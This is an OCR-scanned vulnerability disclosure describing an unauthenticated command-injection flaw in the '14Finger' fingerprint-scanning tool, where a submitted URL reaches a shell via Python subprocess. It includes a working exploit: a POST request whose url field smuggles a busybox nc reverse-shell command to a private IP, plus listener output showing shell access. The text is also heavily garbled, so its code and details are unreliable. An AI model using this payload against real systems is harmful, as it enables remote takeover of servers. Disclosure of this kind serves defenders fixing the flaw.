14Finger Unauthorized Remote Command Execution

Vulnerability

There is an unauthorized remote command execution vulnerability at the fingerprint scanning

point of the core function
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127.0.0.1 && busybox nc 192.168.136.140 8889 -e /bin/sh #

Through the audit source code, you can see that when only_spider is false, spider is true, you
will execute the crawl_site()

function

finger_scan(targer url: str, fingers: list, setting: dict):

:return:

res = {}
browser = setting[°’ er']
spider = setting[ 'spi i |
only_spider = setting['only_spider’]
urls = [1]
E only_spider:
spider:
urls = crawl_site(targer_url)

urls.append(targer_url)
tasks = []
for url in urls:

tasks.append(thread _pool.submit_task(get_fingers, url, fingers, res, browser))

wait(tasks, return_when=ALL_COMPLETED)

res = sorted(res.values(), key=lambda x: x[ count’'], reverse=

crawl_site(targer_url)




Continue to follow up, find that the submitted URL will be stitched to CMD, handed over to the
subprocess module of Python for execution, and arbitrarily commands can be executed by
constructing

Payload.

lef |craw1_site(url: stp) > 11

ad[BHL
param url:
turn:

"{os.path.join(current_path, rad_file)} -c {os.path.join(current_path, 'rad_config.yml')} -t {url} --no-banner"
p = subprocess.Popen(cmd,shell=T stdout=subprocess.PIPE)
out,err = p.communicate()
res = []
line in out.splitlines():
s = line.decode()
if s.startswith('GET') or s.startswith('POST'):
res.append(s[s.find(" ') + 1:])
p.wait()
res

Exploit:

% Raw  Hex [N n =

1 POST /api/finger/single/query HTTP/1.1

Host: 192.168. 136.140:7990

Content-Length: 344

Accept: application/json, text/plain, */#
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplelWebKit/537.36 (KHTML,
like Gecko) Chrome/123.0.6312.58 Safari/537.36
Content-Type: multipart/form-data;
boundary=--—-WebKitFormBoundary9I1UGEeEfWfWh7kv
Origin: http://192.168.136.140:7990

Referer: http://192.168. 136. 140:7990/query
Accept-Encoding: gzip, deflate, br

10 Accept-Language: zh—CN, zh;q=0.9

11 Cookie: sessionid=81qq37kmxwvr54shObtemc3k2ah03udx
12 Connection: close

© ~

I | === WebKitFormBoundary9I1UGEeEfWfWh7kv
15 Content-Disposition: form-data; name="url”

127.0.0.1 & busybox nc 192.168. 136. 140 8888 -e /bin/sh # I
18 [——1 WebKitFormBoundary9T1UGEeEfWEWh7kv
19 Content-Disposition: form-data; name="setting”

rowser”:false, “spider”:true, “only_spider”:false, “only_home”:true}
—WebKi tFornBoundary9T 1UGEeEfWEWhTkv—|
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nc -lvnp 8888
Listening on 0.0.0.0 8888
Connection received on 172.22.0.3 35390

uid=1000(test) gid=1000(test) groups=1000(test)
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